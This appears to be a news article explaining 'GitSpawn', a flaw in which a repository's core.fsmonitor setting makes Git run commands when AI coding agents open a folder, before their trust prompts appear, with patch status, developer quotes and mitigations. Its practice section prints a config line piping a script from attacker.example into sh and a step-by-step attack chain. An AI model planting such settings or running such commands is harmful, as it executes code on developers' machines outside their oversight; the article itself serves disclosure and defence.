GitSpawn: One Git Setting Hijacks 7 Coding Agents

On September 1, a security firm named eight ways a booby-trapped Git repository can run code on your machine the instant an AI coding agent opens it. No prompt typed, no approval clicked, and on some agents, before you've even logged in. The bug, called GitSpawn, hits seven of the most popular coding agents at once: Claude Code, OpenAI Codex, Cursor, Goose, Hermes Agent, Qwen Code, and Grok Build. Anyone who lets an agent open a folder and get to work, which is most people who use one, is affected, and four of the eight flaws were still unpatched when the research went public.

What changed

Manifold Security found that a legitimate Git performance setting, core.fsmonitor, doubles as a command Git will run on your behalf. Set that value in a repository's .git/config to anything at all, a shell one-liner, a reverse shell, a curl pipe to sh, and Git executes it automatically the next time the index refreshes. That refresh happens on git status and git diff, two commands CLI coding agents run in the background the moment they open a project folder, before you type a prompt and often before a workspace-trust dialog appears.

What makes this exploitable in practice: it doesn't travel through an ordinary git clone. A normal clone, fetch, or pull doesn't hand over a hostile .git/config the same way. What does carry it is a zip file, a shared drive, a sync folder, or a USB stick: exactly how code tends to arrive from a contractor, a job candidate's take-home test, or a colleague's laptop.

manifold.security/blog/ai-coding-agents-git-hijack

Fixes have shipped for Claude Code, Cursor, and Goose. Hermes Agent, Qwen Code, Grok Build, and a second attack path in Claude Code were still running repository-supplied commands when Manifold retested on September 1. Claude Code alone ships more than 77 million npm downloads a month, which is a rough measure of how many machines were exposed before the first patch landed.

Why it matters

Every one of these agents already has a permission model. They show a trust dialog before running a command the model writes. GitSpawn skips that dialog entirely. The command fires in a subprocess Git spawns to orient the agent in a codebase, a step that happens before the model is ever called. The approval screen developers are used to seeing was never watching that layer.

That is also not a new lesson. VS Code gated git operations behind its own workspace-trust feature back in 2021, after learning that opening a folder should not be able to run code in it. Five years later, seven agent vendors shipped the same assumption again, without apparently checking whether that earlier fix still applied to them.

For teams wiring coding agents into automated pipelines, an n8n flow that checks out a branch and hands it to an agent for review, or a CI job that auto-triages pull requests from outside contributors, the exposure is worse than the single-developer case. Nobody manually unzips and inspects a repository before an automated pipeline passes it to an agent. The one moment a human might catch something isn't there to skip, because it was never built in.

OpenAI's move to cut Cursor off from its future models after SpaceX's acquisition already had Cursor's roadmap under scrutiny this month. A fresh remote-code-execution class in the same tool is one more thing for its enterprise buyers to ask about.

What people are saying

Developers who run these agents daily didn't wait for vendor statements to figure out what GitSpawn meant for them. jamilxt, who runs AI agents on both personal and work infrastructure, spent the days after disclosure testing the fixes people were recommending to each other:

"The agents in this disclosure present as approval-gated: they show you trust dialogs, they ask permission before running model-generated commands. But GitSpawn fires underneath all of that, in a subprocess spawned before the model is ever called. The approval UI you see is gating the wrong layer."

dev.to/jamilxt/a-malicious-repo-can-now-run-code-before-your-ai-agent-shows-a-trust-prompt-i-verified-the-2ppb

Writing on the blog paddo.dev, one developer put the whole bug class in a single line:

"The folder was the exploit, and it needed no model at all."

paddo.dev/blog/gitspawn-opening-the-folder

And on September 13, twelve days after disclosure, developer Sreeragh S was still working through what it meant, titling a writeup with the plainest possible objection:

"A Folder Shouldn't Be Able to Run Code Just Because I Opened It."

dev.to/sreeragh-s/a-folder-shouldnt-be-able-to-run-code-just-because-i-opened-it-1k9n

What it looks like in practice

The attack chain fits in a single terminal session.

# a repo delivered as a .zip file, not cloned from GitHub
[core]
    fsmonitor = "curl -s https://attacker.example/x | sh"

1. The attacker sets core.fsmonitor in their repository's .git/config to a shell command.
2. They hand it over as a zipped download instead of a repo URL, the way a take-home coding test or a contractor handoff usually arrives, keeping the .git folder intact.
3. The developer unzips it, cds in, and launches their coding agent: claude, cursor, or codex.
4. Before any trust prompt renders, the agent runs git status to work out what repository it's in. Git refreshes its index, reads core.fsmonitor, and runs the attacker's command as the developer, outside the agent's sandbox.

No prompt was typed. No command was reviewed. The only action the developer took was opening the folder.

What to do about it

• Update to the patched builds now. Claude Code, Cursor, and Goose have fixes as of September 1; confirm you're actually running them, not just eligible for them.
• Treat Hermes Agent, Qwen Code, and Grok Build as unsafe on any repository you didn't create yourself until a fix ships.
• Stop unzipping project archives straight into an agent session. Re-clone with git clone instead of trusting a .git folder that arrived as a file, a drive link, or a USB stick.
• Before opening an unfamiliar repo in an agent, run git config core.fsmonitor on it first. If it returns anything, don't let an agent near the folder until you know what that command does.

The short version

GitSpawn didn't break the trust prompt AI coding agents show you. It proved that prompt was never watching the step that mattered. A folder can now run code on your machine the moment an agent opens it, before you type a word, and four of the eight disclosed flaws were still unpatched when this went to print. Check your version before you open the next unfamiliar repo.